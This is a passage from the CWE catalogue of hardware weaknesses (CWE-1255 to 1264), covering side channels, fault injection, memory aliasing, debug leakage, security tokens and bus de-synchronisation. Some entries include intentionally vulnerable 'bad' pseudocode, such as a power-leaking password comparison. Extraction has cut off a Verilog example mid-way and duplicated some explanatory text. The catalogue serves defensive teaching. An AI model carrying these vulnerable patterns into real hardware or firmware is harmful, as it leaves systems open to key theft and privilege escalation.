| | <i>As compromising a security token may result in complete system control, the impacts are relatively universal</i> | |

Potential Mitigations

Phase: Architecture and Design

The design phase must consider each check of a security token against a standard and the amount of power consumed during the check of a good token versus a bad token. The alternative is an all at once check where a retry counter is incremented PRIOR to the check.

Phase: Architecture and Design

Another potential mitigation is to parallelize shifting of secret data (see example 2 below). Note that the wider the bus the more effective the result.

Phase: Architecture and Design

An additional potential mitigation is to add random data to each crypto operation then subtract it out afterwards. This is highly effective but costly in performance, area, and power consumption. It also requires a random number generator.

Phase: Implementation

If the architecture is unable to prevent the attack, using filtering components may reduce the ability to implement an attack, however, consideration must be given to the physical removal of the filter elements.

Phase: Integration

During integration, avoid use of a single secret for an extended period (e.g. frequent key updates). This limits the amount of data compromised but at the cost of complexity of use.

Demonstrative Examples

Example 1:

Consider an example hardware module that checks a user-provided password (or PIN) to grant access to a user. The user-provided password is compared against a stored value byte-by-byte.

Example Language: Other

(bad)

```
static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_ok = 0;
  for (i = 0; i < NUM_PW_DIGITS; i++)
    if (GetPasswordByte() == stored_password[i])
      password_ok |= 1; // Power consumption is different here
    else
      password_ok |= 0; // than from here
  end
  if (password_ok > 0)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
    password_tries--;
  while (true)
    // Password OK
```

Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.

Example Language:

(good)

Among various options for mitigating the string comparison is obscuring the power consumption by having opposing bit flips during bit operations. Note that in this example, the initial change of the bit values could still provide power indication depending upon the hardware itself. This possibility needs to be measured for verification.

```
static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_tries--; // Put retry code here to catch partial retries
  password_ok = 0;
  for (i = 0; i < NUM_PW_DIGITS; i++)
    if (GetPasswordByte() == stored_password[i])
      password_ok |= 0x10; // Power consumption here
    else
      password_ok |= 0x01; // is now the same here
  end
  if ((password_ok & 1) == 0)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
  while (true)
    // Password OK
```

Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.

Example Language:

(good)

An alternative to the previous example is simply comparing the whole password simultaneously.

```
static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_tries--; // Put retry code here to catch partial retries
  for (i = 0; i < NUM_PW_DIGITS; i++)
    stored_password[i] = GetPasswordByte();
  end
  if (stored_password == saved_password)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
  while (true)
    // Password OK
```

Since comparison is done atomically, there is no indication which bytes fail forcing the attacker to brute force the whole password at once. Note that other mitigations may exist such as masking - causing a large current draw to mask individual bit flips.

Example 2:

This code demonstrates the transfer of a secret key using Serial-In/Serial-Out shift. It's easy to extract the secret using simple power analysis as each shift gives data on a single bit of the key.

Example Language: Other

(bad)

```
module siso(clk,rst,a,q);

CWE-1256: Improper Restriction of Software Interfaces to Hardware Features

| | |
|---------------------------|------------------------|
| Weakness ID : 1256 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product provides software-controllable device functionality for capabilities such as power and clock management, but it does not properly limit functionality that can lead to modification of hardware memory or register bits, or the ability to observe physical side channels.

Extended Description

It is frequently assumed that physical attacks such as fault injection and side-channel analysis require an attacker to have physical access to the target device. This assumption may be false if the device has improperly secured power management features, or similar features. For

mobile devices, minimizing power consumption is critical, but these devices run a wide variety of applications with different performance requirements. Software-controllable mechanisms to dynamically scale device voltage and frequency and monitor power consumption are common features in today's chipsets, but they also enable attackers to mount fault injection and side-channel attacks without having physical access to the device.

Fault injection attacks involve strategic manipulation of bits in a device to achieve a desired effect such as skipping an authentication step, elevating privileges, or altering the output of a cryptographic operation. Manipulation of the device clock and voltage supply is a well-known technique to inject faults and is cheap to implement with physical device access. Poorly protected power management features allow these attacks to be performed from software. Other features, such as the ability to write repeatedly to DRAM at a rapid rate from unprivileged software, can result in bit flips in other memory locations (Rowhammer, [REF-1083]).

Side channel analysis requires gathering measurement traces of physical quantities such as power consumption. Modern processors often include power metering capabilities in the hardware itself (e.g., Intel RAPL) which if not adequately protected enable attackers to gather measurements necessary for performing side-channel attacks from software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Technology-Independent (*Prevalence = Undetermined*)

Technology : Memory IP (*Prevalence = Undetermined*)

Technology : Power Management IP (*Prevalence = Undetermined*)

Technology : Clock/Counter IP (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Modify Memory Modify Application Data Bypass Protection Mechanism | |

Detection Methods

Manual Analysis

Perform a security evaluation of system-level architecture and design with software-aided physical attacks in scope.

Automated Dynamic Analysis

Use custom software to change registers that control clock settings or power settings to try to bypass security locks, or repeatedly write DRAM to try to change adjacent locations. This can be effective in extracting or changing data. The drawback is that it cannot be run before manufacturing, and it may require specialized software.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Ensure proper access control mechanisms protect software-controllable features altering physical operating conditions such as clock frequency and voltage.

Demonstrative Examples

Example 1:

This example considers the Rowhammer problem [REF-1083]. The Rowhammer issue was caused by a program in a tight loop writing repeatedly to a location to which the program was allowed to write but causing an adjacent memory location value to change.

Example Language: Other

(bad)

Continuously writing the same value to the same address causes the value of an adjacent location to change value.

Preventing the loop required to defeat the Rowhammer exploit is not always possible:

Example Language: Other

(good)

Redesign the RAM devices to reduce inter capacitive coupling making the Rowhammer exploit impossible.

While the redesign may be possible for new devices, a redesign is not possible in existing devices. There is also the possibility that reducing capacitance with a relayout would impact the density of the device resulting in a less capable, more costly device.

Example 2:

Suppose a hardware design implements a set of software-accessible registers for scaling clock frequency and voltage but does not control access to these registers. Attackers may cause register and memory changes and race conditions by changing the clock or voltage of the device under their control.

Example 3:

Consider the following SoC design. Security-critical settings for scaling clock frequency and voltage are available in a range of registers bounded by [PRIV_END_ADDR : PRIV_START_ADDR] in the tmcu.csr module in the HW Root of Trust. These values are writable based on the lock_bit register in the same module. The lock_bit is only writable by privileged software running on the tmcu.

We assume that untrusted software running on any of the Core{0-N} processors has access to the input and output ports of the hrot_iface. If untrusted software can clear the lock_bit or write the clock frequency and voltage registers due to inadequate protection, a fault injection attack could be performed.

CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions

Weakness ID : 1257

Status: Incomplete

Structure : Simple**Abstraction** : Base

Description

Aliased or mirrored memory regions in hardware designs may have inconsistent read/write permissions enforced by the hardware. A possible result is that an untrusted agent is blocked from accessing a memory region but is not blocked from accessing the corresponding aliased memory region.

Extended Description

Hardware product designs often need to implement memory protection features that enable privileged software to define isolated memory regions and access control (read/write) policies. Isolated memory regions can be defined on different memory spaces in a design (e.g. system physical address, virtual address, memory mapped IO).

Each memory cell should be mapped and assigned a system address that the core software can use to read/write to that memory. It is possible to map the same memory cell to multiple system addresses such that read/write to any of the aliased system addresses would be decoded to the same memory cell.

This is commonly done in hardware designs for redundancy and simplifying address decoding logic. If one of the memory regions is corrupted or faulty, then that hardware can switch to using the data in the mirrored memory region. Memory aliases can also be created in the system address map if the address decoder unit ignores higher order address bits when mapping a smaller address region into the full system address.

A common security weakness that can exist in such memory mapping is that aliased memory regions could have different read/write access protections enforced by the hardware such that an untrusted agent is blocked from accessing a memory address but is not blocked from accessing the corresponding aliased memory address. Such inconsistency can then be used to bypass the access protection of the primary memory block and read or modify the protected memory.

An untrusted agent could also possibly create memory aliases in the system address map for malicious purposes if it is able to change the mapping of an address region or modify memory region sizes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

|------------|---|-----|---|------|
| ChildOf |  | 284 | Improper Access Control | 631 |
| CanPrecede |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 274 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Memory IP (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Microcontroller IP (*Prevalence = Undetermined*)

Technology : Network on Chip IP (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------|------------|
| Confidentiality | Read Memory | High |
| Integrity | Modify Memory | High |
| Availability | DoS: Instability | High |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

The checks should be applied for consistency access rights between primary memory regions and any mirrored or aliased memory regions. If different memory protection units (MPU) are protecting the aliased regions, their protected range definitions and policies should be synchronized.

Phase: Architecture and Design

Phase: Implementation

The controls that allow enabling memory aliases or changing the size of mapped memory regions should only be programmable by trusted software components.

Demonstrative Examples

Example 1:

In a System-on-a-Chip (SoC) design the system fabric uses 16 bit addresses. An IP unit (Unit_A) has 4 kilobyte of internal memory which is mapped into a 16 kilobyte address range in the system fabric address map.

To protect the register controls in Unit_A unprivileged software is blocked from accessing addresses between 0x0000 – 0x0FFF.

The address decoder of Unit_A masks off the higher order address bits and decodes only the lower 12 bits for computing the offset into the 4 kilobyte internal memory space.

Example Language: Other

(bad)

In this design the aliased memory address ranges are these:

0x0000 – 0x0FFF

0x1000 – 0x1FFF

0x2000 – 0x2FFF

0x3000 – 0x3FFF

The same register can be accessed using four different addresses: 0x0000, 0x1000, 0x2000, 0x3000.

The system address filter only blocks access to range 0x0000 - 0x0FFF and does not block access to the aliased addresses in 0x1000 - 0x3FFF range. Thus, untrusted software can leverage the aliased memory addresses to bypass the memory protection.

Example Language: Other

(good)

In this design the aliased memory addresses (0x1000 - 0x3FFF) could be blocked from all system software access since they are not used by software.

Alternately, the MPU logic can be changed to apply the memory protection policies to the full address range mapped to Unit_A (0x0000 - 0x3FFF).

CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information

| | |
|---------------------------|-----------------------|
| Weakness ID : 1258 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The hardware does not fully clear security-sensitive values, such as keys and intermediate values in cryptographic operations, when debug mode is entered.

Extended Description

Security sensitive values, keys, intermediate steps of cryptographic operations, etc. are stored in temporary registers in the hardware. If these values are not cleared when debug mode is entered they may be accessed by a debugger allowing sensitive information to be accessible by untrusted parties.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |
| ChildOf |  | 212 | Improper Removal of Sensitive Information Before Storage or Transfer | 509 |

Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

Operating_System : OS-Independent (Prevalence = Undetermined)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Memory | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Whenever debug mode is enabled, all registers containing sensitive assets must be cleared.

Demonstrative Examples

Example 1:

A cryptographic core in a System-On-a-Chip (SoC) is used for cryptographic acceleration and implements several cryptographic operations (e.g., computation of AES encryption and decryption, SHA-256, HMAC, etc.). The keys for these operations or the intermediate values are stored in registers internal to the cryptographic core. These internal registers are in the Memory Mapped Input Output (MMIO) space and are blocked from access by software and other untrusted agents on the SoC. These registers are accessible through the debug and test interface.

Example Language: Other

(bad)

In the above scenario, registers that store keys and intermediate values of cryptographic operations are not cleared when system enters debug mode. An untrusted actor running a debugger may read the contents of these registers and gain access to secret keys and other sensitive cryptographic information.

Example Language: Other

(good)

Whenever the chip enters debug mode, all registers containing security-sensitive data are be cleared rendering them unreadable.

CWE-1259: Improper Restriction of Security Token Assignment

Weakness ID : 1259

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.

Extended Description

Systems-On-A-Chip (Integrated circuits and hardware engines) implement Security Tokens to differentiate and identify which actions originated from which agent. These actions may be one of the directives: 'read', 'write', 'program', 'reset', 'fetch', 'compute', etc. Security Tokens are assigned to every agent in the System that is capable of generating an action or receiving an action from another agent. Multiple Security Tokens may be assigned to an agent and may be unique based on the agent's trust level or allowed privileges. Since the Security Tokens are integral for the maintenance of security in an SoC, they need to be protected properly. A common weakness afflicting Security Tokens is improperly restricting the assignment to trusted components. Consequently, an improperly protected Security Token may be able to be programmed by a malicious agent (i.e., the Security Token is mutable) to spoof the action as if it originated from a trusted agent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| ChildOf |  | 1294 | Insecure Security Identifier Mechanism | 1933 |
| PeerOf |  | 1255 | Comparison Logic is Vulnerable to Power Side-Channel Attacks | 1854 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Processor IPTechnology-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Files or Directories | High |
| Integrity | Execute Unauthorized Code or Commands | |
| Availability | Bypass Protection Mechanism | |
| Access Control | Gain Privileges or Assume Identity | |
| | Modify Memory | |
| | DoS: Crash, Exit, or Restart | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Security Token assignment review checks for design inconsistency and common weaknesses. Security-Token definition and programming flow is tested in both pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

For example, consider a system with a register for storing an AES key for encryption and decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key register assets have an associated control register, AES_KEY_ACCESS_POLICY, which provides the necessary access controls. This access-policy register defines which agents may engage in a transaction, and the type of transaction, with the AES-key registers. Each bit in this 32-bit register defines a security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Let's assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Tokens are "1" and "2".

An agent with Security Token "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security Token is "1".

Example Language: Other

(bad)

The Aux-controller could program its Security Token to "1" from "2".

The SoC does not properly protect the Security Token of the agents, and, hence, the Aux-controller in the above example can spoof the transaction (i.e., send the transaction as if it is coming from the Main-controller to access the AES-Key registers)

Example Language: Other

(good)

The SoC needs to protect the Security Tokens. None of the agents in the SoC should have the ability to change the Security Token.

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements. Currently it is expressed as a general absence of a protection mechanism as opposed to a specific mistake, and the entry's name and description could be interpreted as applying to software.

Related Attack Patterns

|----------|--|
| 180 | Exploiting Incorrectly Configured Access Control Security Levels |

CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges

Weakness ID : 1260

Status: Stable

Structure : Simple

Abstraction : Base

Description

The product allows address regions to overlap, which can result in the bypassing of intended memory protection.

Extended Description

Isolated memory regions and access control (read/write) policies are used by hardware to protect privileged software. Software components are often allowed to change or remap memory region definitions in order to enable flexible and dynamically changeable memory management by system software.

If a software component running at lower privilege can program a memory address region to overlap with other memory regions used by software running at higher privilege, privilege escalation may be available to attackers. The memory protection unit (MPU) logic can incorrectly handle such an address overlap and allow the lower-privilege software to read or write into the protected memory region, resulting in privilege escalation attack. An address overlap weakness can also be used to launch a denial of service attack on the higher-privilege software memory regions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Manual Analysis

Create a high privilege memory block of any arbitrary size. Attempt to create a lower privilege memory block with an overlap of the high privilege memory block. If the creation attempt works, fix the hardware. Repeat the test.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Ensure that memory regions are isolated as intended and that access control (read/write) policies are used by hardware to protect privileged software.

Phase: Implementation

For all of the programmable memory protection regions, the memory protection unit (MPU) design can define a priority scheme. For example: if three memory regions can be programmed (Region_0, Region_1, and Region_2), the design can enforce a priority scheme, such that, if a system address is within multiple regions, then the region with the lowest ID takes priority and the access-control policy of that region will be applied. In some MPU designs, the priority scheme can also be programmed by trusted software. Hardware logic or trusted firmware can also check for region definitions and block programming of memory regions with overlapping addresses. The memory-access-control-check filter can also be designed to apply a policy filter to all of the overlapping ranges, i.e., if an address is within Region_0 and Region_1, then access to this address is only granted if both Region_0 and Region_1 policies allow the access.

Effectiveness = High

Demonstrative Examples**Example 1:**

For example, consider a design with a 16-bit address that has two software privilege levels: Privileged_SW and Non_privileged_SW. To isolate the system memory regions accessible by these two privilege levels, the design supports three memory regions: Region_0, Region_1, and Region_2.

Each region is defined by two 32 bit registers: its range and its access policy.

- Address_range[15:0]: specifies the Base address of the region
- Address_range[31:16]: specifies the size of the region
- Access_policy[31:0]: specifies what types of software can access a region and which actions are allowed

Certain bits of the access policy are defined symbolically as follows:

- Access_policy.read_np: if set to one, allows reads from Non_privileged_SW
- Access_policy.write_np: if set to one, allows writes from Non_privileged_SW
- Access_policy.execute_np: if set to one, allows code execution by Non_privileged_SW
- Access_policy.read_p: if set to one, allows reads from Privileged_SW
- Access_policy.write_p: if set to one, allows writes from Privileged_SW
- Access_policy.execute_p: if set to one, allows code execution by Privileged_SW

For any requests from software, an address-protection filter checks the address range and access policies for each of the three regions, and only allows software access if all three filters allow access.

Consider the following goals for access control as intended by the designer:

- Region_0 & Region_1: registers are programmable by Privileged_SW
- Region_2: registers are programmable by Non_privileged_SW

The intention is that Non_privileged_SW cannot modify memory region and policies defined by Privileged_SW in Region_0 and Region_1. Thus, it cannot read or write the memory regions that Privileged_SW is using.

Example Language:

(bad)

Non_privileged_SW can program the Address_range register for Region_2 so that its address overlaps with the ranges defined by Region_0 or Region_1. Using this capability, it is possible for Non_privileged_SW to block any memory region from being accessed by Privileged_SW, i.e., Region_0 and Region_1.

This design could be improved in several ways.

Example Language:

(good)

Ensure that software accesses to memory regions are only permitted if all three filters permit access. Additionally, the scheme could define a memory region priority to ensure that Region_2 (the memory region defined by Non_privileged_SW) cannot overlap Region_0 or Region_1 (which are used by Privileged_SW).

CWE-1261: Improper Handling of Single Event Upsets

Weakness ID : 1261

Status: Draft

Structure : Simple

Abstraction : Base

Description

The hardware logic does not effectively handle when single-event upsets (SEUs) occur.

Extended Description

Technology trends such as CMOS-transistor down-sizing, use of new materials, and system-on-chip architectures continue to increase the sensitivity of systems to soft errors. These errors are random, and their causes might be internal (e.g., interconnect coupling) or external (e.g., cosmic radiation). These soft errors are not permanent in nature and cause temporary bit flips known as single-event upsets (SEUs). SEUs are induced errors in circuits caused when charged particles lose energy by ionizing the medium through which they pass, leaving behind a wake of electron-hole pairs that cause temporary failures. If these failures occur in security-sensitive modules in a chip, it might compromise the security guarantees of the chip. For instance, these temporary failures could be bit flips that change the privilege of a regular user to root.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|---------|---|------|---|------|
| ChildOf |  | 755 | Improper Handling of Exceptional Conditions | 1429 |
| PeerOf |  | 1254 | Incorrect Comparison Logic Granularity | 1852 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Availability | DoS: Crash, Exit, or Restart | |
| Access Control | DoS: Instability Gain Privileges or Assume Identity Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Implement triple-modular redundancy around security-sensitive modules.

Phase: Architecture and Design

SEUs mostly affect SRAMs. For SRAMs storing security-critical data, implement Error-Correcting-Codes (ECC) and Address Interleaving.

Demonstrative Examples

Example 1:

This is an example from [REF-1089]. See the reference for full details of this issue.

Parity is error detecting but not error correcting.

*Example Language: Other**(bad)*

Due to single-event upsets, bits are flipped in memories. As a result, memory-parity checks fail, which results in restart and a temporary denial of service of two to three minutes.

*Example Language: Other**(good)*

Using error-correcting codes could have avoided the restart caused by SEUs.

Example 2:

In 2016, a security researcher, who was also a patient using a pacemaker, was on an airplane when a bit flip occurred in the pacemaker, likely due to the higher prevalence of cosmic radiation at such heights. The pacemaker was designed to account for bit flips and went into a default safe mode, which still forced the patient to go to a hospital to get it reset. The bit flip also inadvertently enabled the researcher to access the crash file, perform reverse engineering, and detect a hard-coded key. [REF-1101]

CWE-1262: Improper Access Control for Register Interface**Weakness ID :** 1262**Status:** Stable**Structure :** Simple**Abstraction :** Base**Description**

The product uses memory-mapped I/O registers that act as an interface to hardware functionality from software, but there is improper access control to those registers.

Extended Description

Software commonly accesses peripherals in a System-on-Chip (SoC) or other device through a memory-mapped register interface. Malicious software could tamper with any security-critical hardware data that is accessible directly or indirectly through the register interface, which could lead to a loss of confidentiality and integrity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Registers storing security state, settings, other security-critical data may be corruptible by software without correctly implemented protections.</i> | |

Detection Methods

Manual Analysis

This is applicable in the Architecture phase before implementation started. Make sure access policy is specified for the entire memory map. Manual analysis may not ensure the implementation is correct.

Effectiveness = Moderate

Manual Analysis

Registers controlling hardware should have access control implemented. This access control may be checked manually for correct implementation. Items to check consist of how are trusted parties set, how are trusted parties verified, how are accesses verified, etc. Effectiveness of a manual analysis will vary depending upon how complicated the interface is constructed.

Effectiveness = Moderate

Simulation / Emulation

Functional simulation is applicable during the Implementation Phase. Testcases must be created and executed for memory mapped registers to verify adherence to the access control policy. This method can be effective, since functional verification needs to be performed on the design, and verification for this weakness will be included. There can be difficulty covering the entire memory space during the test.

Effectiveness = Moderate

Formal Verification

Formal verification is applicable during the Implementation phase. Assertions need to be created in order to capture illegal register access scenarios and prove that they cannot occur. Formal methods are exhaustive and can be very effective, but creating the cases for large designs may be complex and difficult.

Effectiveness = High

Automated Analysis

Information flow tracking can be applicable during the Implementation phase. Security sensitive data (assets) - for example, as stored in registers - is automatically tracked over time through the design to verify the data doesn't reach illegal destinations that violate the access policies for the memory map. This method can be very effective when used together with simulation and emulation, since detecting violations doesn't rely on specific scenarios or data values. This method does rely on simulation and emulation, so testcases must exist in order to use this method.

Effectiveness = High

Architecture or Design Review

Manual documentation review of the system memory map, register specification, and permissions associated with accessing security-relevant functionality exposed via memory-mapped registers.

Effectiveness = Moderate

Fuzzing

Perform penetration testing (either manual or semi-automated with fuzzing) to verify that access control mechanisms such as the memory protection units or on-chip bus firewall settings adequately protect critical hardware registers from software access.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Design proper policies for hardware register access from software.

Phase: Implementation

Ensure that access control policies for register access are implemented in accordance with the specified design.

Demonstrative Examples

Example 1:

The register interface provides software access to hardware functionality. This functionality is an attack surface. This attack surface may be used to run untrusted code on the system through the register interface. As an example, cryptographic accelerators require a mechanism for software to select modes of operation and to provide plaintext or ciphertext data to be encrypted or decrypted as well as other functions. This functionality is commonly provided through registers.

Example Language:

(bad)

Cryptographic key material stored in registers inside the cryptographic accelerator can be accessed by software.

Example Language:

(good)

Key material stored in registers should never be accessible to software. Even if software can provide a key, all read-back paths to software should be disabled.

Observed Examples

| Reference | Description |

CWE-1263: Improper Physical Access Control

Weakness ID : 1263

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.

Extended Description

Sections of a product intended to have restricted access may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|-------------------|------------|
| Confidentiality Integrity Access Control | Varies by Context | |

Potential Mitigations

Phase: Architecture and Design

Specific protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's protection mechanism. Designers could incorporate anti-tampering measures that protect against or detect when the product has been tampered with.

Phase: Testing

The testing phase of the lifecycle should establish a method for determining whether the protection mechanism is sufficient to prevent unauthorized access.

Phase: Manufacturing

Ensure that all protection mechanisms are fully activated at the time of manufacturing and distribution.

CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels

Weakness ID : 1264

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.

Extended Description

Many high-performance on-chip bus protocols and processor data-paths employ separate channels for control and data to increase parallelism and maximize throughput. Bugs in the hardware logic that handle errors and security checks can make it possible for data to be forwarded before the completion of the security checks. If the data can propagate to a location in the hardware observable to an attacker, loss of data confidentiality can occur. 'Meltdown' is a concrete example of how de-synchronization between data and permissions checking logic can violate confidentiality requirements. Data loaded from a page marked as privileged was returned to the cpu regardless of current privilege level for performance reasons. The assumption was that the cpu could later remove all traces of this data during the handling of the illegal memory access exception, but this assumption was proven false as traces of the secret data were not removed from the microarchitectural state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 821 | Incorrect Synchronization | 1560 |
| PeerOf |  | 1037 | Processor Optimization Removal or Modification of Security-critical Code | 1692 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------|------------|
| Confidentiality | Read Memory | |

| Scope | Impact | Likelihood |
|-------|-----------------------|------------|
| | Read Application Data | |

Potential Mitigations

Phase: Architecture and Design

Thoroughly verify the data routing logic to ensure that any error handling or security checks effectively block illegal dataflows.

Demonstrative Examples

Example 1:

There are several standard on-chip bus protocols used in modern SoCs to allow communication between components. There are a wide variety of commercially available hardware IP implementing the interconnect logic for these protocols. A bus connects components which initiate/request communications such as processors and DMA controllers (bus masters) with peripherals which respond to requests. In a typical system, the privilege level or security designation of the bus master along with the intended functionality of each peripheral determine the security policy specifying which specific bus masters can access specific peripherals. This security policy (commonly referred to as a bus firewall) can be enforced using separate IP/logic from the actual interconnect responsible for the data routing.

Example Language: Other

(bad)

The firewall and data routing logic becomes de-synchronized due to a hardware logic bug allowing components that should not be allowed to communicate to share data. For example, consider an SoC with two processors. One is being used as a root of trust and can access a cryptographic key storage peripheral. The other processor (application cpu) may run potentially untrusted code and should not access the key store. If the application cpu can issue a read request to the key store which is not blocked due to de-synchronization of data routing and the bus firewall, disclosure of cryptographic keys is possible.

Example Language: Other

(good)

All data is correctly buffered inside the interconnect until the firewall has determined that the endpoint is allowed to receive the data.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2017-5754 | Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754 |

